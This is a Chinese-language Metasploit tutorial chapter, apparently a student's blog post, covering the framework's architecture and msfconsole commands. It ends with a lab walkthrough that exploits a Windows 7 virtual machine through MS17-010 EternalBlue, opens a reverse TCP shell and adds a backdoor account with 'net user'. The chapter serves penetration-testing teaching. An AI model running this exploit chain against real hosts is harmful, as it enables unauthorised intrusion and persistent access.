第4章- Metasploit渗透测试框架

目录

4.1 Metasploit渗透测试框架介绍

4.1.1 Metasploit 体系框架

4.2 Metasploit 基本使用方法

4.2.1 Metasploit 基本命令

4.2.2 常用的命令

4.3 实战1-使用 msf 渗透攻击 Win7 主机并远程执行命令

4.3.1 通过 msf 模块获取 Win7 主机远程 shell

总结:

4.1 Metasploit渗透测试框架介绍

4.1.1 Metasploit 体系框架

1、基础库:metasploit 基础库文件位于源码根目录路径下的 lib 目录中,包括rex、frameworkcore 和 framework-base 三部分。 rex 是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端 实 现、日志子系统、渗透攻击支持例程、PostgreSQL 以及 MySQL 数据库支持等; framework-core 库负责实现所有与各种类型的上层模块及插件的交互接口; framework-base 库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面 的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

2、模块:模块组织按照不同的用途分为 七种类型的模块(modules): 辅助模块(auxiliary)、渗 透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、编码器模块 (encoders)、空指令模块(nops)、绕过模块(evasion)。 注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。

3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有 的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。

4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界 面 以及 msfapi 远程调用接口。

5、功能程序: metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用 metasploit 框架内部能力完成一些特定任务。比如 msfpayload、msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C 语言、JavaScript 语言等多种形式,并可以进行各种 类型的编 码。

4.2 Metasploit 基本使用方法

4.2.1 Metasploit 基本命令

Metasploit 程序需要使用 Postgresql 数据库。 注:PostgreSQL:世界上最先进的开源关系数据库 【 Relational [rɪˈleɪʃənl] 关系型 】

手动启动数据库

root@xuegod53:~# systemctl start postgresql

root@xuegod53:~# systemctl enable postgresql #设置成开机自动启动数据库。

启动 Metasploit,启动方式有两种。

第一种点击图标

注:每次弹出的欢迎信息都是随机的。这次弹出的提示欢迎是一只兔子。

第二种使用终端命令

root@xuegod53:~# msfconsole

第一次启动程序会是初始化应用程序。

启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。 msf5 > help #使用? 或help,查看帮助信息。

注:通过 help 查看帮助,可以对 msf 有个整体认识,可以看到 msf 相关命令可以分成以下类型: Core Commands #核心命令

Module Commands #模块命令

Job Commands #后台任务命令

Resource Script Commands #资源脚本命令

Database Backend Commands #数据库后端命令

Credentials Backend Commands #证书/凭证后端命令

Developer Commands #开发人员命令

4.2.2 常用的命令

使用最多的命令:show、search、use、set、run/exploit

1、核心命令中的 connect 命令

connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80”

192.168.1.1 是 IP 地址 80 是端口号。

查看 connect 命令参数: msf5 > connect #直接回车

连接目标 80 端口 msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get / [*] Connected to xuegod.cn:80 get /    #提交一个 get 请求,可以查看到服务器版本号

HTTP/1.1 400 Bad Request

Server : nginx/1.6.2

Date: Sat, 29 Jun 2019 09:54:16 GMT

Content-Type: text/html

Content-Length: 172

Connection: close

2、模块相关的命令 show 使用方法 show 命令用的很多。

“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options

例 1:列出 metasploit 框架中的所有渗透攻击模块 exploits。

msf5 > show exploits #列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。

msf5 > show payloads #列出 metasploit 框架中的所有攻击载荷。

msf5 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。

互动:使用 show 命令,执行很慢,怎么办?

3、模块相关的命令 search 搜索的使用方法

当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很 重 要。

当你输入 search –h 会列出 search 命令的一些选项。

msf5 > search -h

Usage: search [ options ] #search 后主要加选项和关键字

例 1:通过 name 关键字进行查找 这里需要用到 name:命令。

msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述 很清 楚时,使用这个方法

例:先查找出自己想要的 ms08_067 漏洞模块。

msf5 > search ms08_067

语法:Search Keywords 参数:关键字

比如 msf5 > search name:mysql #要查找 mysql 数据库的漏洞

每列的含意是: Name Disclosure Date Rank Check Description

名称 披露日期 排名 检查 说明

【 注释:Disclosure [dɪsˈkləʊʒə(r)] 揭露;透露;公开; rank [ræŋk] 等级 ,rank 通常用来描述漏 洞级别 】

例 2:通过路径进行查找 有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路 径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入: msf5 > search path:mysql

例 3:缩小查询范围 关键字:platform [ˈplætfɔːm] 平台

作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞 有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命 令后,所查询的结果会列出 rank 比较高的模块。如果我要查找 mysql 的漏洞,那么输入: msf5 > search platform:mysql

注:大家对比一下上面的截图,发现没有,所有 rank 为 normal 的模块全部都屏蔽了,只剩下几个 比较高级的利用模块。

例 4:通过类型进行查找 这里要使用到 type:命令。

type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop) 要搜索 exploit 模块,那么就输入: msf5 > search type:exploit

例 5:联合查找 大家可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。那么输入:

msf5 > search name:mysql type:exploit

注:MySQL yaSSL CertDecoder ::GetName Buffer Overflow 的意思是: mysql yassl certdecoder ::getname 缓冲区溢出漏洞

例 6:根据 CVE 搜索 exploit 相关模块 查找:CVE-2017-8464 远程命令执行漏洞

msf5 > search cve:CVE-2017-8464 type:exploit

msf5 > search cve:2018 name:linux #查找 2018 年 linux 相关的漏洞模块

搜索参数可以组合使用,可以更精准的查询到对应的模块。

4、模块相关的命令 use 的使用方法

use 使用参数。如你要使用到某个模块,就要使用到 use 命令 语法:use 模块的名字

(1) 先查找出自己想要的 ms08_067 漏洞模块。

msf5 > search ms08_067

互动:以下 3 个种搜索方式,找出来的结果一样吗?

msf5 > search ms08_067 #使用下划线

msf5 > search ms08-067 #使用减号

msf5 > search MS08-067 #使用大写字母 MS

答:???

(2) 装载一个渗透攻击模块

msf5 > use exploit/windows/smb/ms08_067_netapi

我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。稍后我们使用这个模 块 进行攻击。

msf5 exploit(windows/smb/ms08_067_netapi) > back #back 退出当前调用的模块

5、模块相关的命令 info 的使用方法

info :显示模块的相关信息。

方法 1:info 模块名称

msf5 > info exploit/windows/smb/ms08_067_netapi

方法 2:use 装载模块后直接使用 info

msf5 > use exploit/windows/smb/ms08_067_netapi

从弹出的消息中,需要重点关注的内容是:

(1) 可用目标,就是查看可以攻击哪些操作系统

(2) Basic options: 调用漏洞需要的相关参数

(3) 漏洞描述和执行过程:

(4) 参考文档

4.3 实战1-使用 msf 渗透攻击 Win7 主机并远程执行命令

4.3.1 通过 msf 模块获取 Win7 主机远程 shell

Win7 旗舰版 SP1-64 位免安装版(已激活)密码:123456,下载解压后用 VMware 直接打开即 可

( @_@见网盘上“课程资料 > 虚拟机” 的共享文件夹 ) ―――――――――――――――――――――――――――――――――――――――

模块的整体使用流程如下:

我们先扫描目标是否存在 ms17_010 漏洞

msf5 > search ms17_010

使用 use 命令选中这个模块

msf5 > use auxiliary/scanner/smb/smb_ms17_010

查看模块需要配置的信息

msf5 auxiliary(scanner/smb/smb_ms17_010) > show options

需要我们配置 RHOST 主机 IP

msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56

开始扫描

msf5 auxiliary(scanner/smb/smb_ms17_010) > run

目标看起来易受攻击,也就表示可能存在相关漏洞。

查找攻击模块

msf5 > search ms17-010

使用 use 命令加载模块

msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5

exploit(windows/smb/ms17_010_eternalblue) > show options

设置目标主机 IP

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56

查看 exploit target 目标类型:

msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets

可以看到这个模块只有一个 target,所以默认就选择这个目标系统。不需要手动设置。 我们已经配置好漏洞相关参数了,接下来应该做什么?

找一个 payload,获取 shell 远程连接权限后,进行远程执行命令

msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload

   注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以 进行程序注入等。

我们挑选一个反弹 shell 的 payloads

注:设置的时候 payload 和 windows 之间有空格。

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp

查看一下 payloads 需要配置什么信息

msf5 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload 信息

设置一下本机 payload 监听地址

msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53

配置完成后开始执行

【 exploit [ɪkˈsplɔɪt] 运用;利用; 】

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

注:如果等待没有出现 shell 提示符可以敲一下回车。

直接执行的话会获得目标主机的 shell 使用 DOS

命令创建用户

C:\Windows\system32>net user admin admin /add

显示乱码但是已经添加成功 拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)

C:\Windows\system32>chcp 65001

查看用户

C:\Windows\system32>net user

可以看到新建的用户已经创建成功。

查看拿到的用户权限

C:\Windows\system32>whoami

关闭链接 Ctrl+c Abort session 1? [y/N] y

实战:通过会话进行连接目标机

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

-j 表示后台执行,渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

通过会话 Id 进入会话

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4

退出会话将会话保存到后台

C:\Windows\system32>background

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions

根据会话 Id 结束会话

msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4

总结:

使用 metasploit 攻击的步骤:

1、查找 CVE 公布的漏洞

2、查找对应的 exploit 模块

3、配置模块参数

4、添加 payload 后门

5、执行 exploit 开始攻击

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

2023计算机网络技术1班 覃善全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值